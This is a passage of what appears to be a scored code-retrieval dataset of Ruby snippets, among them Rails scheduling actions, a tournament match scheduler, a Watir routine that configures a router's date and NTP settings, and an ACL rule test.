"title": "" }, { "docid": "aa777d4184695a09574e6835f64c429e", "score": "0.46915707", "text": "def run(rule)\n end", "title": "" }, { "docid": "cb274ea29b4f1a7b970dfad72e610fb0", "score": "0.46867532", "text": "def create\n @event = Event.find(params[:timeslot][:event_id])\n redirect_to event_path(@event) unless current_user.user_role.can_create\n\n # Used as increment\n count = params[:timeslot][:count].to_i\n\n # Formats time parameters for use in Time object\n start_time_hour = params[:timeslot]['start_time(4i)'].to_i\n end_time_hour = params[:timeslot]['end_time(4i)'].to_i\n start_time_minute = params[:timeslot]['start_time(5i)'].to_i\n end_time_minute = params[:timeslot]['end_time(5i)'].to_i\n\n # Formats start time\n minutes = start_time_minute\n hours = start_time_hour\n string_time = \"#{hours}:#{minutes}\"\n\n # Creates Time objects for start and end time\n end_time = Time.find_zone('UTC').parse(\"#{end_time_hour}:#{end_time_minute}\")\n time = Time.find_zone('UTC').parse(string_time)\n\n # Redirects to new form if count is not provided and if start time is larger than end time\n # Creates Timeslot objects otherwise\n if time > end_time || count < 10\n redirect_to new_timeslot_path(event_id: params[:timeslot][:event_id])\n else\n # Creates timeslots by starting at start time and skip counting\n # (using 'count' variable) to end time\n while time <= end_time\n\n timeslot = Timeslot.new\n timeslot.time = time\n timeslot.duration = count\n timeslot.event_id = params[:timeslot][:event_id]\n\n timeslot.save\n\n time += (count * 60)\n end\n\n # Redirects to the event page for the timslots' event\n @eventid = params[:timeslot][:event_id]\n @event_exit = Event.find(@eventid)\n redirect_to @event_exit\n end\n end", "title": "" }, { "docid": "68abbc993d15473c7ac80f7324f853e9", "score": "0.4685875", "text": "def parse(timeframe, timezone = nil)\n _, category, _, number, interval = *timeframe.match(REGEXP)\n\n unless category && interval\n raise ArgumentError, 'special timeframe string is malformed'\n end\n\n number ||= 1\n number = number.to_i\n\n range = range_from_interval(interval, number, timezone)\n range = range - 1.send(interval) if category == 'previous'\n range\n end", "title": "" }, { "docid": "67dc4ce260943007b734d45280a7db86", "score": "0.4675547", "text": "def start=(time); end", "title": "" }, { "docid": "b37823499c9e3a9ccb3b99111b2300e4", "score": "0.46737993", "text": "def subsequent_rules(*args); end", "title": "" }, { "docid": "b37823499c9e3a9ccb3b99111b2300e4", "score": "0.46737993", "text": "def subsequent_rules(*args); end", "title": "" }, { "docid": "0572ff82e475e607399f4dd94a7ebb94", "score": "0.46524617", "text": "def add(rule); end", "title": "" }, { "docid": "ce52343dbf7984757b1bb787af901c50", "score": "0.46522826", "text": "def gen_match_schedule(is_write_file)\n m_sh = {}\n\n tba_matches = tba_call(\"event/#{EVENT_KEY}/matches/simple\")\n\n tba_matches.each do |m|\n # f m[:comp_level] == 'qm'\n m_sh[\"#{m['comp_level']}_#{m['match_number'].to_s.rjust(2, \"0\")}\"] = {\n # match_key: m['key'],\n red_alliance: m['alliances']['red']['team_keys'].each {|n| n.slice!(0..2)},\n blue_alliance: m['alliances']['blue']['team_keys'].each {|n| n.slice!(0..2)},\n time: Time.at(m['time']).to_datetime.strftime('%H:%M %d-%m-%Y %:z'),\n }\n # end\n end\n\n # m_sh = m_sh.sort.to_h\n\n if is_write_file \n write_to_pretty_json(WRITE_TO_DIR, \"#{EVENT_KEY}_match_schedule\", m_sh)\n end\n m_sh\nend", "title": "" }, { "docid": "5bd00d2f888d312b30ec73a22e4c4463", "score": "0.46499845", "text": "def date_and_time(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"Date and Time\" page.\n begin\n @ff.link(:text, 'Date and Time').click\n self.msg(rule_name, :info, 'Date and Time', 'Reached page \\'Date and Time\\'.')\n rescue\n self.msg(rule_name, :error, 'Date and Time', 'Did not reach \\'Date and Time\\' page')\n return\n end\n \n # Check the key.\n if ( info.has_key?('section') &&\n info.has_key?('subsection') ) then\n # Right,go on.\n else\n self.msg(rule_name,:error,'date_and_time','Some key NOT found.')\n return\n end\n \n # Clock Set Add by Robin 2009.4.17\n if info.has_key?('action') \n case info['action']\n when 'Clock SET'\n @ff.link(:text, 'Clock Set').click\n # hour\n if info.key?('hour') \n @ff.text_field(:name, 'hour').value=(info['hour'])\n self.msg(rule_name, :info, 'date_and_time()->hour', 'hour= '+info['hour'])\n else\n self.msg(rule_name, :info, 'date_and_time()->hour', 'No hour key found')\n end\n # minute\n if info.key?('minute') \n @ff.text_field(:name, 'min').value=(info['minute'])\n self.msg(rule_name, :info, 'date_and_time()->minute', 'minute= '+info['minute'])\n else\n self.msg(rule_name, :info, 'date_and_time()->minute', 'No minute key found')\n end\n # sec\n if info.key?('sec') \n @ff.text_field(:name, 'sec').value=(info['sec'])\n self.msg(rule_name, :info, 'date_and_time()->sec', 'sec= '+info['sec'])\n else\n self.msg(rule_name, :info, 'date_and_time()->sec', 'No sec key found')\n end\n # year\n if info.key?('year')\n @ff.select_list(:id, 'year').select_value(info['year']) \n self.msg(rule_name, :info, 'date_and_time()->year', \"year = \"+info['year'])\n else\n self.msg(rule_name, :info, 'date_and_time()->year', 'year undefined')\n end\n # month\n if info.key?('month')\n case info['month']\n when 'Jan'\n @ff.select_list(:id, 'month').select_value('0') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Feb'\n @ff.select_list(:id, 'month').select_value('1') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Mar'\n @ff.select_list(:id, 'month').select_value('2') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Apr'\n @ff.select_list(:id, 'month').select_value('3') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'May'\n @ff.select_list(:id, 'month').select_value('4') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Jun'\n @ff.select_list(:id, 'month').select_value('5') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Jul'\n @ff.select_list(:id, 'month').select_value('6') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Aug'\n @ff.select_list(:id, 'month').select_value('7') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Sep'\n @ff.select_list(:id, 'month').select_value('8') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Oct'\n @ff.select_list(:id, 'month').select_value('9') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Nov'\n @ff.select_list(:id, 'month').select_value('10') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n when 'Dec'\n @ff.select_list(:id, 'month').select_value('11') \n self.msg(rule_name, :info, 'date_and_time()->month', \"month = \"+info['month'])\n else\n self.msg(rule_name, :info, 'date_and_time()->month', 'month undefined')\n end\n end\n # day\n if info.key?('day')\n @ff.select_list(:id, 'day').select_value(info['day']) \n self.msg(rule_name, :info, 'date_and_time()->day', \"day = \"+info['day'])\n else\n self.msg(rule_name, :info, 'date_and_time()->day', 'day undefined')\n end\n # click 'Apply' button to complete setup\n @ff.link(:text, 'Apply').click\n\tif not @ff.text.include?('Input Errors') then\n\t self.msg(rule_name,:info,'Set Time','SUCCESS')\n else\n\t @ff.tables.each do |t|\n\t\tif ( (t.text.include? 'value') and (not t.text.include? 'Input Errors')) then\n\t\t t.each do |row|\n\t\t\tif row.text.include? 'value' then\n\t\t\t self.msg(rule_name,:error,row[1].to_s.gsub(':',''),row[2]);\n\t\t\tend\n\t\t end\n\t\tend\n\t end\n end\n\treturn\n else\n self.msg(rule_name,:error,'Date and Time','Did NOT find the value in \\'action\\'.')\n return \n end # end of case \n end # end of if \n \n # \"Time Zone\"\n if info.has_key?('Time Zone')\n \n case info['Time Zone']\n \n when 'Other'\n \n # Set \"Other\"\n @ff.select_list(:name,'time_zone').select_value(\"\")\n self.msg(rule_name,:info,'Time Zone',info['Time Zone'])\n \n when 'Alaska_Time'\n \n # Set \"Alaska_Time\"\n @ff.select_list(:name,'time_zone').select_value(\"Alaska_Time\")\n self.msg(rule_name,:info,'Time Zone',info['Time Zone'])\n \n when 'Central_Time'\n \n # Set \"Central_Time\"\n @ff.select_list(:name,'time_zone').select_value(\"Central_Time\")\n self.msg(rule_name,:info,'Time Zone',info['Time Zone']) \n \n when 'Eastern_Time'\n \n # Set \"Eastern_Time\"\n @ff.select_list(:name,'time_zone').select_value(\"Eastern_Time\")\n self.msg(rule_name,:info,'Time Zone',info['Time Zone']) \n \n when 'Greenwich_Mean_Time'\n \n # Set \"Greenwich_Mean_Time\"\n @ff.select_list(:name,'time_zone').select_value(\"Greenwich_Mean_Time\")\n self.msg(rule_name,:info,'Time Zone',info['Time Zone']) \n \n when 'Hawaii_Time'\n \n # Set \"Hawaii_Time\"\n @ff.select_list(:name,'time_zone').select_value(\"Hawaii_Time\")\n self.msg(rule_name,:info,'Time Zone',info['Time Zone']) \n \n when 'Mountain_Time'\n \n # Set \"Mountain_Time\"\n @ff.select_list(:name,'time_zone').select_value(\"Mountain_Time\")\n self.msg(rule_name,:info,'Time Zone',info['Time Zone']) \n \n when 'Pacific_Time'\n \n # Set \"Pacific_Time\"\n @ff.select_list(:name,'time_zone').select_value(\"Pacific_Time\")\n self.msg(rule_name,:info,'Time Zone',info['Time Zone']) \n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'Date and Time','Did NOT find the value in \\'Time Zone\\'.')\n return\n \n end # end of case\n \n end # end of if \n \n # \"GMT Offset\"\n if info.has_key?('GMT Offset')\n \n # Is there?\n if not @ff.text.include?'GMT Offset'\n # Error here.\n self.msg(rule_name,:error,'Date and Time','No option \\'GMT Offset\\'.')\n return\n end\n \n # Set \"GMT Offset\"\n @ff.text_field(:name,'gmt_offset').set(info['GMT Offset'])\n self.msg(rule_name,:info,'GMT Offset',info['GMT Offset'])\n \n end\n \n # \"Daylight Enable\"\n if info.has_key?('Daylight Enable')\n \n case info['Daylight Enable']\n \n when 'on'\n \n # Set \"Daylight Enable\"\n @ff.checkbox(:name,'is_dl_sav').set\n self.msg(rule_name,:info,'Daylight Enable',info['Daylight Enable'])\n \n when 'off'\n \n # Clear \"Daylight Enable\"\n @ff.checkbox(:name,'is_dl_sav').clear\n self.msg(rule_name,:info,'Daylight Enable',info['Daylight Enable'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'date_and_time','Did NOT find the value in \\'Daylight Enable\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # \"Start Month\"\n if info.has_key?('Start Month')\n \n case info['Start Month']\n \n when 'Jan'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"0\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Feb'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"1\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Mar'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"2\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Apr'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"3\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'May'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"4\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Jun'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"5\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Jul'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"6\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Aug'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"7\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Sep'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"8\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Oct'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"9\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Nov'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"10\")\n self.msg(rule_name,:info,'Start Month',info['Start Month'])\n \n when 'Dec'\n \n # Set \"Start Month\"\n @ff.select_list(:name,'dst_mon_start').select_value(\"11\")\n self.msg(rule_name,:info,'Start Month',info['Start Month']) \n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'','Did NOT find the value in \\'Start Month\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # \"Start Date\"\n if info.has_key?('Start Date')\n \n case info['Start Date']\n \n when '1'\n @ff.select_list(:name,'dst_day_start').select_value(\"1\")\n when '2'\n @ff.select_list(:name,'dst_day_start').select_value(\"2\")\n when '3'\n @ff.select_list(:name,'dst_day_start').select_value(\"3\")\n when '4'\n @ff.select_list(:name,'dst_day_start').select_value(\"4\")\n when '5'\n @ff.select_list(:name,'dst_day_start').select_value(\"5\")\n when '6'\n @ff.select_list(:name,'dst_day_start').select_value(\"6\")\n when '7'\n @ff.select_list(:name,'dst_day_start').select_value(\"7\")\n when '8'\n @ff.select_list(:name,'dst_day_start').select_value(\"8\")\n when '9'\n @ff.select_list(:name,'dst_day_start').select_value(\"9\")\n when '10'\n @ff.select_list(:name,'dst_day_start').select_value(\"10\")\n when '11'\n @ff.select_list(:name,'dst_day_start').select_value(\"11\")\n when '12'\n @ff.select_list(:name,'dst_day_start').select_value(\"12\")\n when '13'\n @ff.select_list(:name,'dst_day_start').select_value(\"13\")\n when '14'\n @ff.select_list(:name,'dst_day_start').select_value(\"14\")\n when '15'\n @ff.select_list(:name,'dst_day_start').select_value(\"15\")\n when '16'\n @ff.select_list(:name,'dst_day_start').select_value(\"16\")\n when '17'\n @ff.select_list(:name,'dst_day_start').select_value(\"17\")\n when '18'\n @ff.select_list(:name,'dst_day_start').select_value(\"18\")\n when '19'\n @ff.select_list(:name,'dst_day_start').select_value(\"19\")\n when '20'\n @ff.select_list(:name,'dst_day_start').select_value(\"20\")\n when '21'\n @ff.select_list(:name,'dst_day_start').select_value(\"21\")\n when '22'\n @ff.select_list(:name,'dst_day_start').select_value(\"22\")\n when '23'\n @ff.select_list(:name,'dst_day_start').select_value(\"23\")\n when '24'\n @ff.select_list(:name,'dst_day_start').select_value(\"24\")\n when '25'\n @ff.select_list(:name,'dst_day_start').select_value(\"25\")\n when '26'\n @ff.select_list(:name,'dst_day_start').select_value(\"26\")\n when '27'\n @ff.select_list(:name,'dst_day_start').select_value(\"27\") \n when '28'\n @ff.select_list(:name,'dst_day_start').select_value(\"28\")\n when '29'\n @ff.select_list(:name,'dst_day_start').select_value(\"29\")\n when '30'\n @ff.select_list(:name,'dst_day_start').select_value(\"30\")\n when '31'\n @ff.select_list(:name,'dst_day_start').select_value(\"31\") \n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'','Did NOT find the value in \\'Start Date\\'.')\n return\n \n end # end of case\n \n self.msg(rule_name,:info,'Start Date',info['Start Date'])\n \n end # end of if \n\n # \"Start Hour\"\n if info.has_key?('Start Hour')\n \n # Set\n @ff.text_field(:name,'dst_hour_start').set(info['Start Hour'])\n self.msg(rule_name,:info,'Start Hour',info['Start Hour'])\n \n end \n \n # \"Start Minute\"\n if info.has_key?('Start Minute')\n \n # Set\n @ff.text_field(:name,'dst_min_start').set(info['Start Minute'])\n self.msg(rule_name,:info,'Start Minute',info['Start Minute'])\n \n end \n \n # \"End Month\"\n if info.has_key?('End Month')\n \n case info['End Month']\n \n when 'Jan'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"0\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Feb'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"1\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Mar'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"2\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Apr'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"3\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'May'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"4\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Jun'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"5\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Jul'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"6\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Aug'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"7\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Sep'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"8\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Oct'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"9\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Nov'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"10\")\n self.msg(rule_name,:info,'End Month',info['End Month'])\n \n when 'Dec'\n \n # Set \"End Month\"\n @ff.select_list(:name,'dst_mon_end').select_value(\"11\")\n self.msg(rule_name,:info,'End Month',info['End Month']) \n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'','Did NOT find the value in \\'End Month\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # \"End Date\"\n if info.has_key?('End Date')\n \n case info['End Date']\n \n when '1'\n @ff.select_list(:name,'dst_day_end').select_value(\"1\")\n when '2'\n @ff.select_list(:name,'dst_day_end').select_value(\"2\")\n when '3'\n @ff.select_list(:name,'dst_day_end').select_value(\"3\")\n when '4'\n @ff.select_list(:name,'dst_day_end').select_value(\"4\")\n when '5'\n @ff.select_list(:name,'dst_day_end').select_value(\"5\")\n when '6'\n @ff.select_list(:name,'dst_day_end').select_value(\"6\")\n when '7'\n @ff.select_list(:name,'dst_day_end').select_value(\"7\")\n when '8'\n @ff.select_list(:name,'dst_day_end').select_value(\"8\")\n when '9'\n @ff.select_list(:name,'dst_day_end').select_value(\"9\")\n when '10'\n @ff.select_list(:name,'dst_day_end').select_value(\"10\")\n when '11'\n @ff.select_list(:name,'dst_day_end').select_value(\"11\")\n when '12'\n @ff.select_list(:name,'dst_day_end').select_value(\"12\")\n when '13'\n @ff.select_list(:name,'dst_day_end').select_value(\"13\")\n when '14'\n @ff.select_list(:name,'dst_day_end').select_value(\"14\")\n when '15'\n @ff.select_list(:name,'dst_day_end').select_value(\"15\")\n when '16'\n @ff.select_list(:name,'dst_day_end').select_value(\"16\")\n when '17'\n @ff.select_list(:name,'dst_day_end').select_value(\"17\")\n when '18'\n @ff.select_list(:name,'dst_day_end').select_value(\"18\")\n when '19'\n @ff.select_list(:name,'dst_day_end').select_value(\"19\")\n when '20'\n @ff.select_list(:name,'dst_day_end').select_value(\"20\")\n when '21'\n @ff.select_list(:name,'dst_day_end').select_value(\"21\")\n when '22'\n @ff.select_list(:name,'dst_day_end').select_value(\"22\")\n when '23'\n @ff.select_list(:name,'dst_day_end').select_value(\"23\")\n when '24'\n @ff.select_list(:name,'dst_day_end').select_value(\"24\")\n when '25'\n @ff.select_list(:name,'dst_day_end').select_value(\"25\")\n when '26'\n @ff.select_list(:name,'dst_day_end').select_value(\"26\")\n when '27'\n @ff.select_list(:name,'dst_day_end').select_value(\"27\") \n when '28'\n @ff.select_list(:name,'dst_day_end').select_value(\"28\")\n when '29'\n @ff.select_list(:name,'dst_day_end').select_value(\"29\")\n when '30'\n @ff.select_list(:name,'dst_day_end').select_value(\"30\")\n when '31'\n @ff.select_list(:name,'dst_day_end').select_value(\"31\") \n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'','Did NOT find the value in \\'End Date\\'.')\n return\n \n end # end of case\n \n self.msg(rule_name,:info,'End Date',info['End Date'])\n \n end # end of if \n\n # \"End Hour\"\n if info.has_key?('End Hour')\n \n # Set\n @ff.text_field(:name,'dst_hour_end').set(info['End Hour'])\n self.msg(rule_name,:info,'End Hour',info['End Hour'])\n \n end \n \n # \"End Minute\"\n if info.has_key?('End Minute')\n \n # Set\n @ff.text_field(:name,'dst_min_end').set(info['End Minute'])\n self.msg(rule_name,:info,'End Minute',info['End Minute'])\n \n end \n \n # \"Offset\"\n if info.has_key?('Offset')\n \n # Set\n @ff.text_field(:name,'dst_offset').set(info['Offset'])\n self.msg(rule_name,:info,'Offset',info['Offset'])\n \n end \n \n # \"Automatic Enabled\"\n if info.has_key?('Automatic Enabled')\n \n case info['Automatic Enabled']\n \n when 'on'\n \n # Set \"Automatic Enabled\"\n @ff.checkbox(:name,'is_tod_enabled').set\n self.msg(rule_name,:info,'Automatic Enabled',info['Automatic Enabled'])\n \n when 'off'\n \n # Clear \"Automatic Enabled\"\n @ff.checkbox(:name,'is_tod_enabled').clear\n self.msg(rule_name,:info,'Automatic Enabled',info['Automatic Enabled'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'Date and Time','Did NOT find the value in \\'Automatic Enabled\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # \"Time Of Day\"\n if info.has_key?('Time Of Day')\n \n case info['Time Of Day']\n \n when 'on'\n \n # Set \"Time Of Day\"\n @ff.radio(:id,'tod_prot_type_1').set\n self.msg(rule_name,:info,'Time Of Day',info['Time Of Day'])\n \n when 'off'\n \n # Clear \"Time Of Day\"\n @ff.radio(:id,'tod_prot_type_1').clear\n self.msg(rule_name,:info,'Time Of Day',info['Time Of Day'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'Date and Time','Did NOT find the value in \\'Time Of Day\\'.')\n return\n \n end # end of case\n \n end # end of if \n \n # \"Network Time Protocol\"\n if info.has_key?('Network Time Protocol')\n \n case info['Network Time Protocol']\n \n when 'on'\n \n # Set \"Network Time Protocol\"\n @ff.radio(:id,'tod_prot_type_2').set\n self.msg(rule_name,:info,'Network Time Protocol',info['Network Time Protocol'])\n \n when 'off'\n \n # Clear \"Network Time Protocol\"\n @ff.radio(:id,'tod_prot_type_2').clear\n self.msg(rule_name,:info,'Network Time Protocol',info['Network Time Protocol'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'Date and Time','Did NOT find the value in \\'Network Time Protocol\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # \"Update Every\"\n if info.has_key?('Update Every')\n \n #\n @ff.text_field(:name,'tod_update_period').set(info['Update Every'])\n self.msg(rule_name,:info,'Update Every',info['Update Every'])\n \n end \n \n # \"Sync Now\"\n if info.has_key?('Sync Now')\n \n case info['Sync Now']\n \n when 'on'\n \n # Set \"Sync Now\"\n @ff.link(:text,'Sync Now').click\n @ff.wait\n self.msg(rule_name,:info,'Sync Now',info['Sync Now'])\n \n when 'off'\n \n # Clear \"Sync Now\"\n # Do nothing here.\n self.msg(rule_name,:info,'Sync Now',info['Sync Now'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'Date and Time','Did NOT find the value in \\'Sync Now\\'.')\n return\n \n end # end of case\n \n end # end of if \n \n if info.has_key?('Remove Time Server')\n\t@ff.links.each do |l|\n\t if ( l.href.to_s.include? 'remove_time_server') then\n\t\t@ff.link(:href,l.href.to_s).click\n\t end\n\tend\n end\n if info.has_key?('Add Time Server')\n\t@ff.link(:href,'javascript:mimic_button(\\'add_time_server: ...\\', 1)').click\n\t@ff.text_field(:name,'tod_server').value = info['Add Time Server']\n\t@ff.link(:text,'Apply').click\n end\n \n if info.has_key?('Add Multi Time Servers')\n \tfor i in 0...info['Add Multi Time Servers'].to_i\n\t @ff.link(:href,'javascript:mimic_button(\\'add_time_server: ...\\', 1)').click\n\t @ff.text_field(:name,'tod_server').value = \"ntp.testurl\" + i.to_s + \".com\"\n\t @ff.link(:text,'Apply').click\n\tend\n end\n\n \n if info.has_key?('Read Sync Status')\n\t@ff.tables.each do |t|\n\t if ( (t.text.include? 'Status') and (t.text.include? 'Time Server') and (t.row_count > 5)) then\n\t\tt.each do |row|\n\t\t if row.text.include? 'Status' then\n\t\t\tself.msg(rule_name,:info,row[1].to_s.gsub(':',''),row[2])\t\n\t\t end\n\t\tend\n\t end\n\tend\n end\n\n # Apply for the change\n @ff.link(:text,'Apply').click\n \n # Output the result\n if not @ff.text.include?('Input Errors') then\n\tself.msg(rule_name,:info,'Date and Time','SUCCESS')\n else\n\t@ff.tables.each do |t|\n\t if ( (t.text.include? 'value') and (not t.text.include? 'Input Errors')) then\n\t\tt.each do |row|\n\t\t if row.text.include? 'value' then\n\t\t\tself.msg(rule_name,:error,row[1].to_s.gsub(':',''),row[2])\n\t\t end\n\t\tend\n\t end\n\tend\n end\n \n end", "title": "" }, { "docid": "c560658fe40afeb06a6a9f296e53faea", "score": "0.4645175", "text": "def generate_schedule\r\n match_list = make_match_list\r\n schedule = make_empty_schedule\r\n # pp match_list\r\n # pp match_list.size\r\n\r\n scheduled_matches = []\r\n referee_count = 0\r\n move_to_next_slot = false\r\n\r\n schedule.each do |day|\r\n # puts \"#{day[:day]}\"\r\n day[:slots].each do |slots|\r\n # puts \" #{slots[:time]}\"\r\n\r\n match_count = -1\r\n move_to_next_slot = false\r\n match_to_validate = {}\r\n\r\n slots[:matches].each do |match|\r\n # puts \" scheduled (#{scheduled_matches.size})\"; pp scheduled_matches\r\n # puts \"match list (#{match_list.size})\"; pp match_list\r\n # puts \" to_val: \"; pp scheduled_matches\r\n while(!validate_rest_time(match_to_validate, scheduled_matches))\r\n match_count += 1 #next match on match_list\r\n # puts \" CLASH: mc=#{match_count} \"\r\n match_to_validate = {:teams=>match_list[match_count],:day => day[:day], :time => slots[:time]}\r\n\r\n if(match_list.size == match_count)\r\n # puts \"----> Move to next slot\"\r\n move_to_next_slot=true\r\n break\r\n end\r\n end\r\n\r\n # puts \"move_to_next_slot: #{move_to_next_slot}\"\r\n \r\n unless(move_to_next_slot)\r\n scheduled_matches << match_to_validate\r\n match[:referees] = REFEREES[referee_count%REFEREES.size]\r\n match[:score] = [0,0]\r\n match[:teams] = match_list.delete_at(match_count)\r\n # print \"Adding match: \"; pp match\r\n # puts \"-\"*34\r\n referee_count += 1\r\n match_count = 0\r\n match_to_validate = {:teams=>match_list[match_count], :day => match[:day], :time => match[:time]}\r\n else\r\n break\r\n end\r\n\r\n end\r\n\r\n end\r\n end\r\n\r\n schedule\r\n end", "title": "" }, { "docid": "9e08513d280546f6e4f4321a03f5b960", "score": "0.46444792", "text": "def lex_rule start_state, regexp, action = nil\n rules << Rule.new(start_state, regexp, action)\n end", "title": "" }, { "docid": "1deeb7a94b0b4ec3890e6cadcc35e927", "score": "0.46435568", "text": "def wrap_in_schedule (raw_expression, options)\n\n oat = options[:at]\n oin = options[:in]\n ocron = options[:cron]\n oevery = options[:every]\n\n fei = new_fei(\n :workflow_instance_id => get_wfid_generator.generate(nil),\n :workflow_definition_name => 'schedlaunch',\n :expression_name => 'sequence')\n\n # not very happy with this code, it builds custom\n # wrapping processes manually, maybe there is\n # a more elegant way, but for now, it's ok.\n\n template = if oat or oin\n\n sleep_atts = if oat\n { 'until' => oat }\n else #oin\n { 'for' => oin }\n end\n sleep_atts['scheduler-tags'] = \"scheduled-launch, #{fei.wfid}\"\n\n raw_expression.new_environment\n raw_expression.store_itself\n\n [\n 'sequence', {}, [\n [ 'sleep', sleep_atts, [] ],\n raw_expression.fei\n ]\n ]\n\n elsif ocron or oevery\n\n fei.expression_name = 'cron'\n\n cron_atts = if ocron\n { 'tab' => ocron }\n else #oevery\n { 'every' => oevery }\n end\n cron_atts['name'] = \"//cron_launch__#{fei.wfid}\"\n cron_atts['scheduler-tags'] = \"scheduled-launch, #{fei.wfid}\"\n\n template = raw_expression.raw_representation\n remove(raw_expression)\n\n [ 'cron', cron_atts, [ template ] ]\n\n else\n\n nil # don't schedule at all\n end\n\n if template\n\n raw_exp = RawExpression.new_raw(\n fei, nil, nil, @application_context, template)\n\n #raw_exp.store_itself\n raw_exp.new_environment\n\n raw_exp\n else\n\n raw_expression\n end\n end", "title": "" }, { "docid": "7c99ed186b6659d1130edc0d12b50a71", "score": "0.46418312", "text": "def check_schedule(range_of_days)\n\tif 1 > range_of_days.to_i\n\t\traise \"The schedule of the diary must last for at least one day.\"\n\telsif 40 < range_of_days.to_i\n\t\traise \"Save paper! Don't generate schedule for >40 days.\"\n\tend\n\t\n\t# Set the duration of the food diary\n\t$duration = range_of_days.to_i\nend", "title": "" }, { "docid": "dc227abf027761863650a810fbe39a2d", "score": "0.46383587", "text": "def test_create_timebase_acl_rule\n user = createUser(\"1\")\n node = createNode(\"1\")\n res = @s.set_node_acl_rule_entries(node, user, {\"jcr:read\" => \"granted\"}, {\"rule\" => \"TestingThatRuleWorks\"})\n\tassert_equal(\"200\",res.code,\"Failed to add Rule ACL \"+res.body)\t\n\t\n\tacl = @s.get_node_ruleacl(node)\n\t@s.log.info(acl)\n\tassert_equal(1,acl.size)\n\t\n\truleace = findRuleAce(acl, user.name)\n\tassert_not_nil(ruleace)\n\tassert_equal(0,ruleace[\"order\"])\n\tgranted = ruleace[\"granted\"]\n\tassert_equal(1,granted.size)\n\tassert_equal(\"jcr:read\",granted[0])\n\tdenied = 